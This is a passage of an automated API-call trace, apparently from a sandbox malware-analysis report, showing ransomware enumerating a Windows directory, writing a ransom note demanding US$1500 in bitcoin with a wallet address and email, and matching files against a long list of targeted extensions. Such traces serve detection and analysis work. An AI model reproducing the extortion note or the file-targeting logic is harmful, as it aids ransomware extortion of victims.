returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#" [0120.775] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6eba5d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6eba5d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.788] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.788] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6eba5d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6eba5d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.788] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.788] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.789] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6ee0730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6ee0730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f8e75d870778639e773ad046e3b32360", cAlternateFileName="F8E75D~1")) returned 1 [0120.789] lstrcmpA (lpString1=".", lpString2="f8e75d870778639e773ad046e3b32360") returned -1 [0120.789] lstrcmpA (lpString1="..", lpString2="f8e75d870778639e773ad046e3b32360") returned -1 [0120.789] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\*.*") returned="*.*" [0120.789] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\", lpString2="f8e75d870778639e773ad046e3b32360" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360" [0120.789] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360") returned 100 [0120.789] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6ee0730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6ee0730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.794] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.794] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6ee0730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6ee0730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.794] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.794] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.794] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6eba5d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6ee0730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x84200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Channels.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.794] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.794] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Channels.ni.dll") returned -1 [0120.794] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Channels.ni.dll") returned -1 [0120.794] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Channels.ni.dll") returned -1 [0120.794] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\*.*") returned="*.*" [0120.794] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\" [0120.794] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\") returned="" [0120.794] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\HOW TO DECRYPT FILES.txt" [0120.794] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\how to decrypt files.txt")) returned 0xffffffff [0120.794] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.795] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0120.795] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0120.797] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.797] CloseHandle (hObject=0x90) returned 1 [0120.797] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\", lpString2="System.ServiceModel.Channels.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll" [0120.798] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.ems") returned 0 [0120.798] lstrlenA (lpString="*.ems") returned 5 [0120.798] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.db") returned 0 [0120.798] lstrlenA (lpString="*.db") returned 4 [0120.798] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.dbf") returned 0 [0120.798] lstrlenA (lpString="*.dbf") returned 5 [0120.798] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.myox") returned 0 [0120.798] lstrlenA (lpString="*.myox") returned 6 [0120.798] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.myo") returned 0 [0120.798] lstrlenA (lpString="*.myo") returned 5 [0120.798] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.qbw") returned 0 [0120.798] lstrlenA (lpString="*.qbw") returned 5 [0120.798] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.qbb") returned 0 [0120.798] lstrlenA (lpString="*.qbb") returned 5 [0120.798] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.qbm") returned 0 [0120.798] lstrlenA (lpString="*.qbm") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.qbo") returned 0 [0120.799] lstrlenA (lpString="*.qbo") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.qbx") returned 0 [0120.799] lstrlenA (lpString="*.qbx") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.qba") returned 0 [0120.799] lstrlenA (lpString="*.qba") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.qby") returned 0 [0120.799] lstrlenA (lpString="*.qby") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.qbj") returned 0 [0120.799] lstrlenA (lpString="*.qbj") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.ofx") returned 0 [0120.799] lstrlenA (lpString="*.ofx") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.qif") returned 0 [0120.799] lstrlenA (lpString="*.qif") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.mye") returned 0 [0120.799] lstrlenA (lpString="*.mye") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.mbox") returned 0 [0120.799] lstrlenA (lpString="*.mbox") returned 6 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.eml") returned 0 [0120.799] lstrlenA (lpString="*.eml") returned 5 [0120.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.pst") returned 0 [0120.800] lstrlenA (lpString="*.pst") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.ost") returned 0 [0120.800] lstrlenA (lpString="*.ost") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.idx") returned 0 [0120.800] lstrlenA (lpString="*.idx") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.dbx") returned 0 [0120.800] lstrlenA (lpString="*.dbx") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.sql") returned 0 [0120.800] lstrlenA (lpString="*.sql") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.mdb") returned 0 [0120.800] lstrlenA (lpString="*.mdb") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.fdb") returned 0 [0120.800] lstrlenA (lpString="*.fdb") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.wab") returned 0 [0120.800] lstrlenA (lpString="*.wab") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.dat") returned 0 [0120.800] lstrlenA (lpString="*.dat") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.txt") returned 0 [0120.800] lstrlenA (lpString="*.txt") returned 5 [0120.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.jpeg") returned 0 [0120.801] lstrlenA (lpString="*.jpeg") returned 6 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.jpg") returned 0 [0120.801] lstrlenA (lpString="*.jpg") returned 5 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.png") returned 0 [0120.801] lstrlenA (lpString="*.png") returned 5 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.php") returned 0 [0120.801] lstrlenA (lpString="*.php") returned 5 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.cs") returned 0 [0120.801] lstrlenA (lpString="*.cs") returned 4 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.cpp") returned 0 [0120.801] lstrlenA (lpString="*.cpp") returned 5 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.rar") returned 0 [0120.801] lstrlenA (lpString="*.rar") returned 5 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.zip") returned 0 [0120.801] lstrlenA (lpString="*.zip") returned 5 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.html") returned 0 [0120.801] lstrlenA (lpString="*.html") returned 6 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.htm") returned 0 [0120.801] lstrlenA (lpString="*.htm") returned 5 [0120.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.xlsx") returned 0 [0120.801] lstrlenA (lpString="*.xlsx") returned 6 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.xls") returned 0 [0120.802] lstrlenA (lpString="*.xls") returned 5 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.mp4") returned 0 [0120.802] lstrlenA (lpString="*.mp4") returned 5 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.ppt") returned 0 [0120.802] lstrlenA (lpString="*.ppt") returned 5 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.pptx") returned 0 [0120.802] lstrlenA (lpString="*.pptx") returned 6 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.doc") returned 0 [0120.802] lstrlenA (lpString="*.doc") returned 5 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.dot") returned 0 [0120.802] lstrlenA (lpString="*.dot") returned 5 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.docx") returned 0 [0120.802] lstrlenA (lpString="*.docx") returned 6 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.7z") returned 0 [0120.802] lstrlenA (lpString="*.7z") returned 4 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.tar") returned 0 [0120.802] lstrlenA (lpString="*.tar") returned 5 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.bz2") returned 0 [0120.802] lstrlenA (lpString="*.bz2") returned 5 [0120.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.gz") returned 0 [0120.803] lstrlenA (lpString="*.gz") returned 4 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.mkv") returned 0 [0120.803] lstrlenA (lpString="*.mkv") returned 5 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.eml") returned 0 [0120.803] lstrlenA (lpString="*.eml") returned 5 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.msg") returned 0 [0120.803] lstrlenA (lpString="*.msg") returned 5 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.edb") returned 0 [0120.803] lstrlenA (lpString="*.edb") returned 5 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.accdb") returned 0 [0120.803] lstrlenA (lpString="*.accdb") returned 7 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.odb") returned 0 [0120.803] lstrlenA (lpString="*.odb") returned 5 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.java") returned 0 [0120.803] lstrlenA (lpString="*.java") returned 6 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.asm") returned 0 [0120.803] lstrlenA (lpString="*.asm") returned 5 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.pfx") returned 0 [0120.803] lstrlenA (lpString="*.pfx") returned 5 [0120.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.pem") returned 0 [0120.804] lstrlenA (lpString="*.pem") returned 5 [0120.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.p12") returned 0 [0120.804] lstrlenA (lpString="*.p12") returned 5 [0120.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.gpg") returned 0 [0120.804] lstrlenA (lpString="*.gpg") returned 5 [0120.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.vsd") returned 0 [0120.804] lstrlenA (lpString="*.vsd") returned 5 [0120.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.odg") returned 0 [0120.804] lstrlenA (lpString="*.odg") returned 5 [0120.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.raw") returned 0 [0120.804] lstrlenA (lpString="*.raw") returned 5 [0120.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.nef") returned 0 [0120.804] lstrlenA (lpString="*.nef") returned 5 